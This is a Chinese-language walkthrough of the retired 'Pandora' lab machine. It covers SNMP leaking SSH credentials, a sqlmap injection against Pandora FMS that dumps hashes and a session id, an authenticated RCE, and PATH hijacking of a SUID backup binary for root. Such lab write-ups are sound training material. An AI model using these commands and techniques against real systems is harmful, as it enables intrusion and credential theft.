概述 (Overview)
HOST: 10.10.11.136
OS: LINUX
发布时间: 2022-01-09
完成时间: 2022-06-10
机器作者: TheCyberGeek && dmw0ng
困难程度: easy
机器状态: 退休
MACHINE TAGS: #SNMP #SQLi #SUDOExploitation #BufferOverflow #Hijacking
攻击链 (Kiillchain)
使用 Nmap 对目标服务器进行开放端口枚举,发现存在 UDP 161 端口 SNMP 协议。通过该协议的信息泄露得到进程执行命令,该命令中含有 ssh 登录用户名及明文密码。使用该组账号成功 ssh 登录目标服务器,获取初始立足点。
查看 sudo 权限信息发现可以的 SUID 进程,对其进行分析后发现存在 Path Hijacking 风险,使用该风险成功完成权限提升。
枚举(Enumeration)
老样子,开始还是使用 Nmap 对目标服务器开放端口进行扫描:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA) | 256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA) |_ 256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-title: Play | Landing |_http-favicon: Unknown favicon MD5: 115E49F9A03BB97DEB840A3FE185434C |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
从扫描结果中可以看到对外仅暴漏两个端口,服务器是 Ubuntu,运行着 Apache Web 服务。
Port 80 - panda.htb
站点上没太多内容仅有两个邮件信息:
support@panda.htb contact@panda.htb
将域名加入 hosts 文件,随后进行路径枚举、子域名枚举等。
长时间等待字典扫描结束,没有获得任何有效内容,看来这条路径是不通的。
立足点(Foothold)
想着会不会开放 UDP 端口,使用 Nmap 快速扫描了一下发现开放了 161 端口。
# nmap -sU -top-ports=100 panda.htb
PORT STATE SERVICE
161/udp open snmp
https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp
结合搜索引擎了解到, 161 端口为简单网络管理协议用于监控网络中不同设备的协议,为确保 SNMP 访问适用于不同制造商和不同的客户端-服务器组合,创建了管理信息库 (MIB) 。MIB是一种独立的存储设备信息的格式,具体可以查看上面引入的链接地址文章。
针对该协议可以使用 snmpwalk 命令进行远程访问,如获取远程主机的所有公共信息:
从结果中可以获悉到目标服务器更详细的内容,如 Ubuntu 版本信息、内核版本、网卡地址等等。在其中的进程信息段中,我们发现存在一个 /use/bin/host_check
命令其参数与 ssh 命令的账号密码类似。
daniel : HotelBabylon23
使用该组内容成功以 daniel 用户登录服务器,拿到立足点。
横向移动(Lateral Movement)
查找 User flag 存放位置发现在 matt
用户下,说明下一步我们还需要进行账号之间的横向。
找点之前的 host_check
进程,查看内容字符可以得到一段 curl 请求,url 指向的是本地地址部署的 Web 服务。
根据这一内容去 /var/www/
路径下查看,发现 pandora 文件夹内为本地 Web 服务的源代码。
根据源代码内容信息获悉这是 Pandora FMS 服务(Pandora FMS又称 “Pandora Flexible Monitoring System”,是一款用于服务器、网络、应用和虚拟基础设施的监控工具),在根据版本信息进行历史高危漏洞的查找,发现存在 RCE 漏洞但需要具备登录会话。
https://shells.systems/pandorafms-v7-0ng-authenticated-remote-code-execution-cve-2019-20224/
为了操作方便先通过 ssh 服务将端口进行转发:
ssh daniel@10.10.11.136 -L 81:127.0.0.1:80
能在 kali 中访问到说明转发成功。
接着在如下文章中找到 SQL 注入漏洞 CVE,随后进行验证获取登录账号。
https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained/
存在 SQL 注入错误回显,直接放 sqlmap 中跑结果就行了。
# sqlmap -u http://127.0.0.1:81/pandora_console/include/chart_generator.php?session_id= -D pandora -T tpassword_history --dump
...snip...
Database: pandora
Table: tpassword_history
[2 entries]
+---------+---------+---------------------+----------------------------------+---------------------+
| id_pass | id_user | date_end | password | date_begin |
+---------+---------+---------------------+----------------------------------+---------------------+
| 1 | matt | 0000-00-00 00:00:00 | f655f807365b6dc602b31ab3d6d43acc | 2021-06-11 17:28:54 |
| 2 | daniel | 0000-00-00 00:00:00 | 76323c174bd49ffbbdedf678f6cc89a6 | 2021-06-17 00:11:54 |
+---------+---------+---------------------+----------------------------------+---------------------+
可是得到的 password 散列并不能枚举成明文,换另一种方法。将数据库中存储的管理 session id 导出,随后在浏览器中替换 Cookie id 就可以登录系统后台了。
| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:"matt";alert_msg|a:0:{}new_chat|b:0; | 1638796349 |
接着参考文章中的 exploit 进行构造,成功获取 matt
用户 Shell,完成横向移动。
https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities
权限提升(Privilege Escalation)
将 kali 的公钥写入 authorized_keys 文件,完成免密登录获取一个完整的 tty 会话 shell。通过 wget 将 LinPEAS 传递至目标服务器,运行该脚本进行深度信息收集。
发现存在一个可疑的 SUID 权限 /usr/bin/pandora_backup
二进制程序,而在 sudo -l
中也能得到,可以免密权限提升运行 pandora_backup
程序。
简单执行一下,从名称、命令行显示内容可以得出这是用户站点备份的程序。
简单通过 ltrace
(没有的话可以用 strace
) 命令来跟踪程序在运行时调用的库函数情况。
根据代码执行流程,首先获取了执行用户、用户所在组然后通过 system()
函数执行 bash 命令。从结果中可以看到有一段关键的错误信息,提示 matt
用户没有权限读、写 /root/.backup/
目录。这里最为致命的是 tar
,因为没写绝对路径导致存在 Path Hijacking 漏洞。
Path Hijacking 是一种攻击技术,它利用了操作系统搜索二进制文件的方式。通过将恶意程序放置在用户 PATH 环境变量所指定的目录中(如/bin、/usr/bin等),从而覆盖系统默认的同名命令或程序来实现的。
所以,这里我仅需要将当前目录(包含恶意程序)添加到 PATH 环境变量中最前面,随后 SUDO 执行该二进制程序就完成最终的权限提升。